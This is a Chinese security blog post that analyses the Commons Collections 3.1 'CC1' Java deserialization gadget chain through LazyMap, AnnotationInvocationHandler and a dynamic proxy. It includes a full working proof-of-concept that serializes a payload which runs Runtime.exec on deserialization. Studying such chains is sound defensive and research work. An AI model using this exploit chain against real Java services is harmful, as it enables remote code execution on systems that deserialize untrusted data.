首页 > 其他分享 >CC1-LazyMap利用链分析

CC1-LazyMap利用链分析

时间:2024-07-03 17:29:54浏览次数:3  
标签:Map LazyMap 链分析 Object CC1 value Class new class

分析下ysoserial中CC1的利用链

分析版本

Commons Collections 3.1

JDK 8u65

环境配置参考JAVA安全初探(三):CC1链全分析

分析过程

TransformerMap的CC1不同的是,在寻找InvokeTransformer.transform的方法调用时,我们选择LazyMap的get方法。

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {      //进入此判断
            Object value = factory.transform(key);//factory为InvokeTransformer
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

之后找get的方法调用,这里作者找到的还是AnnotationInvocationHandler类中的invoke方法。其实AnnotationInvocationHandler类实现了InvocationHandler,是java动态代理的写法,invoke方法是代理调用方法时调用自动调用的。java动态代理可以参考JDK动态代理

    public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();                  //这里member取的是动态代理代理的方法名字
        Class<?>[] paramTypes = method.getParameterTypes();//返回方法参数类型

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 && //不能进此循环 保证代理的方法名不是equals 方法参数数量不为1 并且 第一个参数类型不是Object类
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)                              //不能进次循环 方法数量不为1
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {                                   //方法名字不能为toString hashCode annotationType
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);          //构造方法输入的可控Map<String, Object> memberValues,调用get 也就是LazyMap调用get

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    }

更新Poc

这里动态代理是调用的Map的isEmpty()方法。方法没有参数,并且名字不为toString hashCode annotationType

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
        //反射实例化AnnotationInvocationHandler
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class , Map.class);
        constructor.setAccessible(true);
        InvocationHandler annotationInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
        Map lazyMap1 = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, annotationInvocationHandler);
        lazyMap1.isEmpty();

写到这里还没结束,因为我们最后要找到反序列化readObject方法。

作者这里用的还是AnnotationInvocationHandler类重写的readObject方法

因为在反序列化时要调用invoke方法,所以要保证代理调用了方法(方法满足方法没有参数,并且名字不为toString hashCode annotationType)。

在这里正好有个memberValues.entrySet(),memberValues是我们能控制的Map类,而entrySet()方法正好没有参数,并且名字不为toString hashCode annotationType。

这里就不用像CC1 TransformsMap链注意注释类的传参了,因为我们只要执行到for (Map.Entry<String, Object> memberValue : memberValues.entrySet())这行就可以。

其实也可以找其他满足条件的类,不一定是AnnotationInvocationHandler类。

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {  //遍历Map<String, object> memberValues是Map类 memberValue是键值对
            String name = memberValue.getKey();                     //取键值对的key, memberValue
            Class<?> memberType = memberTypes.get(name);            //返回key对应的映射(Value), Class<? extends Annotation> type
            if (memberType != null) {  // i.e. member still exists  //type中需要有memberValues的key
                Object value = memberValue.getValue();              //取键值对的value, memberValue
                if (!(memberType.isInstance(value) ||               //判断两个对象类型,value是否可以强制转化为memberType
                      value instanceof ExceptionProxy)) {           //value是否是ExceptionProxy的实例化对象
                    memberValue.setValue(                           //memberValue需要设置为AbstractInputCheckedMapDecorator
                        new AnnotationTypeMismatchExceptionProxy(   //runtime
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

最后的Poc

public class cc1_poc_lazyMap {
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ss.ser"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
        //反射实例化AnnotationInvocationHandler
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class , Map.class);
        constructor.setAccessible(true);
        InvocationHandler annotationInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, annotationInvocationHandler); //动态代理
        //System.out.println(lazyMap1.isEmpty());
        //lazyMap1.isEmpty();
        Object annotationInvocationHandler1 = constructor.newInstance(Target.class, mapProxy);

        serialize(annotationInvocationHandler1);
        unserialize("ss.ser");
    }
}

标签:Map,LazyMap,链分析,Object,CC1,value,Class,new,class
From: https://blog.csdn.net/weixin_45436292/article/details/140136981

相关文章

  • CB链分析与利用超详细
    环境配置commons-beanutils1.8.3commons-logging:commons-logging:1.2jdk8u71pom.xml添加<dependency><groupId>commons-beanutils</groupId><artifactId>commons-beanutils</artifactId><version>1.8.3</vers......
  • java的CC1链分析与利用
    CC1链子分析CommonsCollections简介ApacheCommonsCollections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并实现了各种集合工具类。作为Apache开源项目的重要组件,被广泛运用于各种Java应用的开发。环境配置jdk版本:jdk8......
  • CC2500和CC1101移植说明
    主要通过如何移植、移植注意、关于芯片配置、如何生成导出配置四大步骤来说明CC2500和CC1101移植首先通过下图1这个宏进行选择 &如何移植要移植的部分在CC2500_hal.c和CC2500_hal.h中, 搜索"//移植"就可以定位到库所需的依赖,需要根据您的环境实现这些函数&移植......
  • 如何在Windows系统下配置最新的MinGW(GCC14)环境,同时应用到Dev-C++中
    如何在Windows系统下配置最新的MinGW(GCC14)环境,同时应用到Dev-C++中前言本教程只面向小白,目的是配置出一个Windows能用的新GCC环境,未深入涉及细节配置。在访问文中链接时,你可能需要使用能更快速访问国际网络的工具。安装MinGW环境先访问MinGW的官网:https://www.mingw-w64.org/......
  • OceanBase数据库业务大量断链分析
    今天下午三点左右收到业务告警,批量业务发生断链"数据库连接异常,次数:35,统计周期:5分钟"业务反馈具体的地市出现问题后,通过ocp发现问题时间段的SQL相应时间最多的是update相关操作通过ocp中的SQL诊断功能发现问题时间点的可疑SQL排序第一的SQL为一个update 通过......
  • cc6链-绕过cc1的jdk限制
    为什么cc1有jdk版本限制JDK中的AnnotationInvocationHandler的readObject更新了,所以cc1用不了但是前面的部分还是存在的,只要我们找到一个新的入口就还是能执行命令这里回到LazyMap,LazyMap的get方法可以触发后续的rce所以我们需要寻找新版本JDK中触发LazyMap中get方法的类Tide......
  • C++: fatal error: Killed signal terminated program cc1plus
    C++:fatalerror:Killedsignalterminatedprogramcc1plus1.在Linux系统中进行C++编译时,出现如下报错,导致编译中止:C++:fatalerror:Killedsignalterminatedprogramcc1pluscompilationterminated.2.解决方法——swap分区查阅相关信息后,认为是虚拟机内存不足造成......
  • SAP S4HANA 2023 PCE系统上的SCC1?
    SAPS4HANA2023PCE系统上的SCC1?  在S/4HANA2023PCE系统上执行事务代码SCC1,    系统提示:”传输工具的旧副本已弃用,新的传输复制工具可用,是否继续执行新事务代码SCC1N?”. 点击按钮’是’,系统进入如下界面:    输入TR号码,输入源客户端,   ......
  • Resin反序列化链分析
    前言Resin是一个轻量级的、高性能的开源Java应用服务器。它是由CauchoTechnology开发的,旨在提供可靠的Web应用程序和服务的运行环境。和Tomcat一样是个服务器,它和hessian在一个group里,所以有一定的联系<dependencies><dependency><groupId>com.caucho</groupId><a......
  • Fastjson的toString链分析
    前言之前分析过Fastjson的getter链,忽略了toString链,现在补上,最终也是任意调用getter攻击测试packageorg.example;importcom.alibaba.fastjson.JSONObject;importcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;importcom.sun.org.apache.xalan.inte......